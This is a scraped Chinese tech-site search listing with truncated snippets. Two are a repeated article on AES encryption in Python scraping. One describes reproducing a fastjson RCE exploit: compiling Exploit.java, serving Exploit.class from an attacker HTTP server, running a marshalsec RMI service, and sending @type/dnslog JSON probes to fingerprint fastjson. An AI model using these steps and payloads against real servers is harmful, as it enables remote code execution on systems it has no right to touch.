首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

关于fastjson特定版本RCE漏洞利用exp复现

Exploit.java文件,生成一个Exploit.class文件 javac Exploit.java 然后在主机B启一个http服务,中间件随意,但是需要能访问到Exploit.class文件,这里使用python3...临时启动一个 python3 -m http.server --bind 0.0.0.0 8888 0x042 开启远程方法调用rmi服务 接下来在主机C开启rmi服务 java -cp marshalsec...如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样 例如 无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson 我使用以下payload测试 {"zeo...","val":"dnslog"} 畸形的 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} POC: 要嵌套在里面zeo...里面 {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} {"@type":"java.net.Inet4Address","val":"dnslog

1.6K50

Python爬虫进阶必备 | 关于AES 的案例分析与总结

图1-4 对于 AES 加密其实也是可以使用 Python 的加密库直接实现的,但是咸鱼自己测试了一下加密的结果,发现 AES 的 CBC加密结果和使用 Node.js 加密的结果不一致,也没有找到相关的说明文档...要运行下面的代码需要安装相应的 Python 包,网上的文章会推荐安装 PyCrypto 但是目前无法通过 pip 安装 PyCrypto,建议替换为 PyCryptodome pip3 install...解密 if __name__ == '__main__': aes_test = UseAES("xianyuxuepython") a = aes_test.encrypt("咸鱼学Python.../usr/bin/env python # -*- coding=utf-8 -*- import base64 from Crypto.Cipher import AES import random...类似加密网站如下: 5Lit5Zu956e75Yqo5o6M5LiK6Zeo5oi3 55S15L+h5qyi5LmQR08= EOF

1K20

Python爬虫进阶必备 | 关于AES 的案例分析与总结

图1-4 对于 AES 加密其实也是可以使用 Python 的加密库直接实现的,但是咸鱼自己测试了一下加密的结果,发现 AES 的 CBC加密结果和使用 Node.js 加密的结果不一致,也没有找到相关的说明文档...要运行下面的代码需要安装相应的 Python 包,网上的文章会推荐安装 PyCrypto 但是目前无法通过 pip 安装 PyCrypto,建议替换为 PyCryptodome pip3 install...解密 if __name__ == '__main__': aes_test = UseAES("xianyuxuepython") a = aes_test.encrypt("咸鱼学Python.../usr/bin/env python # -*- coding=utf-8 -*- import base64 from Crypto.Cipher import AES import random...类似加密网站如下: 5Lit5Zu956e75Yqo5o6M5LiK6Zeo5oi3 55S15L+h5qyi5LmQR08= EOF

48920
领券